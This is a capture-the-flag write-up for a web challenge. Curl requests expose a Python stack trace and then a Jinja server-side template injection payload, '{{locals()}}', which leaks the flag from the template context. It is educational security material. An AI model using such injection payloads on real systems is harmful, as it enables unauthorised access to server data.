Description:

Visit the site at https://ggcs-wh02.allyourbases.co and see if you can find a way to get the flag.

Rather rudely, this page tells us to go away.

Upon loading a subpage, however, it's rather kind and suggests we go look elsewhere with the following code:

$.ajax({
    type: "POST",
    url: "https://oo5apsmnc8.execute-api.eu-west-1.amazonaws.com/stag/wh02",
    contentType: 'application/json',
    data: JSON.stringify({
        'path': path
    }),
    success: function(res){
        $("#content").append(res.body);
    },
    error: function(err){
        console.log(err);
    }
})

I almost feel sorry for abusing this endpoint. Curl time.

curl -s "https://oo5apsmnc8.execute-api.eu-west-1.amazonaws.com/stag/wh02" -X POST -d '{"path": "lmao"}' | jq -r
{
  "statusCode": 200,
  "body": "\n        <h1>404</h1>\n        <p>It appears you got lost on the way to: lmao</p>\n        <p>Try again maybe?</p>\n        ",
  "headers": {
    "Access-Control-Allow-Origin": "*"
  }
}

Can we break it?

curl -s "https://oo5apsmnc8.execute-api.eu-west-1.amazonaws.com/stag/wh02" -X POST -d '{"path": {}}' | jq -r
{
  "errorMessage": "'dict' object has no attribute 'split'",
  "errorType": "AttributeError",
  "stackTrace": [
    "  File \"/var/task/lambda_function.py\", line 19, in lambda_handler\n    print(handle(event))\n",
    "  File \"/var/task/lambda_function.py\", line 14, in handle\n    \"\"\" % (urllib.parse.unquote(event['path']))\n",
    "  File \"/var/lang/lib/python3.8/urllib/parse.py\", line 635, in unquote\n    string.split\n"
  ]
}

Hmm, looks like it's directly inserting into a string here (note the """ % string format pattern).

With luck, this is probably poor template injection. Let's find out if it's Jinja template.

curl -s "https://oo5apsmnc8.execute-api.eu-west-1.amazonaws.com/stag/wh02" -X POST -d '{"path": "{{locals()}}"}' | jq -r
{
  "statusCode": 200,
  "body": "\n        <h1>404</h1>\n        <p>It appears you got lost on the way to: {'_Context__self': <Context {'range': <class 'range'>, 'dict': <class 'dict'>, 'lipsum': <function generate_lorem_ipsum at 0x7f639649d160>, 'cycler': <class 'jinja2.utils.Cycler'>, 'joiner': <class 'jinja2.utils.Joiner'>, 'namespace': <class 'jinja2.utils.Namespace'>, 'dir': <built-in function dir>, 'help': Type help() for interactive help, or help(object) for help about object., 'locals': <built-in function locals>, 'globals': <built-in function globals>, 'laksnd8quoqjknadaklsd9aodu892ja': 'Flag: tEmPlATes-R-FuNN-2391'} of None>, '_Context__obj': <built-in function locals>, 'args': (), 'kwargs': {}, '__traceback_hide__': True, 'fn': <method-wrapper '__call__' of builtin_function_or_method object at 0x7f63a2e5f9a0>, 'fn_type': 'environmentfunction'}</p>\n        <p>Try again maybe?</p>\n        ",
  "headers": {
    "Access-Control-Allow-Origin": "*"
  }
}

The important bit of that being:

'laksnd8quoqjknadaklsd9aodu892ja': 'Flag: tEmPlATes-R-FuNN-2391'

Amusingly, while writing this page, I broke my own template system for my static site generator. Go figure.